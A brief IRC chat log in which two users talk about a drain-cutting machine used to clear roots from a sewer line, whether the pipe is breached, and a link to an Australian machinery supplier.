[23:56:25] <crutchy> its got a cutting head on it
[23:56:42] <crutchy> goes down the pipe and eats whatever it runs into
[23:56:44] <Deucalion> jeebs
[23:58:13] <Deucalion> having to cut plant detritus out of the sewer line means the pipe is breached and all manner of crap will be leaking out into the ground. Not really an urgent issue if it is away from the house but not ideal :/
[23:58:45] <crutchy> there's no sign of changes to the grass above
[23:58:50] <crutchy> but yeah could be
[23:59:11] <crutchy> http://www.agrmachinery.com.au
[23:59:25] <crutchy> can't remeber which one was used, but these kinda ring a bell
[23:59:43] <crutchy> either the 2nd or 4th i think